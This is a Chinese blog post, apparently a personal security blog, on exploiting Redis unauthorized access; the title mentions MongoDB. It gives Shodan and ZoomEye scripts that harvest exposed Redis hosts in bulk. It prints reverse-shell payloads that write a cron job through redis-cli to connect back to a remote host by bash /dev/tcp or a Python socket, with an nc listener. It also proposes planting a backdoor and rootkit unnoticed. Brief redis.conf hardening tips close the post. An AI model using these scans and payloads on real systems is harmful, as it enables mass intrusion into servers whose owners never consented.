关于MongoDB未授权访问的学习

最近MongoDB的未授权访问不知道为啥,就是这样突然火了,其实你要是留意的话,其实在2014年的时候就已经有人在乌云刷过这个了,其实很简单,就是没密码,然后暴露到公网上喽。

本次主要做一些redis的一个测试,刚好最近再开发一个系统,刚好写几个脚本做插件,也提高下工作效率。

具体漏洞细节请参考:redis未授权访问

然后利用ZoomEye和Shodan API进行条件批量筛选

ZoomEye:https://api.zoomeye.org/host/search?query="关键词"&page=
Shodan:pip install shodan

Shodan python脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
@Author:w2n1ck
@博客:http://byd.dropsec.xyz/
'''
import shodan
import os
iplist = []
ip_list = []
shodan_ip_list = []
def shodanSearch(keywords):
SHODAN_API_KEY = "your key"
api = shodan.Shodan(SHODAN_API_KEY)
total = 0
try:
results = api.search(keywords)
total = int(results['total'])
for result in results['matches']:
#iplist.append({"ip":result['ip_str'],"country":result['location']['country_name']})
iplist.append(result['ip_str'])
for i in range(len(iplist)):
ip_list = iplist[i].encode('utf-8')
shodan_ip_list.append(ip_list)
s = '\n'.join(shodan_ip_list)
with open('shodan_ip_list.txt','w') as output:
output.write(s)
except shodan.APIError, e:
print 'Error: %s' % e
if __name__ == '__main__':
shodanSearch('redis')

ZoomEye python脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
@Author:w2n1ck
@博客:http://byd.dropsec.xyz/
'''
import os
import requests
import json
access_token = ''
ip_list = []
def login():
user = raw_input('[-] input : username :')
passwd = raw_input('[-] input : password :')
data = {
'username' : user,
'password' : passwd
}
data_encoded = json.dumps(data) # dumps 将 python 对象转换成 json 字符串
try:
r = requests.post(url = 'https://api.zoomeye.org/user/login',data = data_encoded)
r_decoded = json.loads(r.text) # loads() 将 json 字符串转换成 python 对象
global access_token
access_token = r_decoded['access_token']
except Exception,e:
print '[-] info : username or password is wrong, please try again '
exit()
def saveStrToFile(file,str):
with open(file,'w') as output:
output.write(str)
def saveListToFile(file,list):
s = '\n'.join(list)
with open(file,'w') as output:
output.write(s)
def apiTest():
page = 1
global access_token
with open('access_token.txt','r') as input:
access_token = input.read()
# 将 token 格式化并添加到 HTTP Header 中
headers = {
'Authorization' : 'JWT ' + access_token,
}
print headers
while(True):
try:
r = requests.get(url = 'https://api.zoomeye.org/host/search?query="redis"&page=' + str(page),
headers = headers)
'''
因为我们进行的是主机搜索,所以请求的接口为:
https://api.zoomeye.org/host/search?query="yoursring"&facet=app,os&page=
如果进行web搜索,请求接口为:
https://api.zoomeye.org/web/search?query="port:21"&page=
?query为要搜索的关键字
'''
r_decoded = json.loads(r.text)
# print r_decoded
# print r_decoded['total']
for x in r_decoded['matches']:
print x['ip']
ip_list.append(x['ip'])
print '[-] info : count ' + str(page * 10)
except Exception,e:
# 若搜索请求超过 API 允许的最大条目限制 或者 全部搜索结束,则终止请求
if str(e.message) == 'matches':
print '[-] info : account was break, excceeding the max limitations'
break
else:
print '[-] info : ' + str(e.message)
else:
if page == 10:
break
page += 1
def main():
# 访问口令文件不存在则进行登录操作
if not os.path.isfile('access_token.txt'):
print '[-] info : access_token file is not exist, please login'
login()
saveStrToFile('access_token.txt',access_token)
apiTest()
saveListToFile('zoomeye_ip_list.txt',ip_list)
if __name__ == '__main__':
main()

把要搜索的关键词改一下即可批量获取符合条件的主机地址:

然后就是redis的批量验证脚本,GitHub上有一个hackredis脚本能够验证redis未授权访问,然后批量登陆到ssh,但是我搜的,可能人品太差,一个都没登陆上,可能不对公网开放SSH服务了或者做了IP限制。

然后就换个思路,我们写入的密钥,会覆盖这个文件authorized_keys,如果原来服务器上管理员是使用过公钥的方法登陆就会导致管理员的公钥失效,容易被管理员发现。直接在redis下写个shell,种个后门,再加个rootkit,岂不是神不知道鬼不觉[斜眼]

redis反弹shell:

  1. CentOS

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/远程主机/2333 0>&1\n\n"|redis-cli -h 目标机 -x set 1
    config set dir /var/spool/cron
    ok
    config set dbfilename root
    ok
    save
    ok
    然后vps上nc监听
    nc -lvv 2333
  2. Ubuntu
    如果是ubuntu的系统,是不能用bash弹shell的,可以使用python来反弹。

    1
    echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"

附加个建议:

1
2
3
4
5
6
7
8
可以配置redis.conf这个文件,在redis-3.2.0目录下
#默认只对本地开放
bind 127.0.0.1
#添加登陆密码
requirepass appleu0
#在需要对外开放的时候修改默认端口
port 2333
#最后还可以配合iptables限制开放

大爷,赏个铜板呗!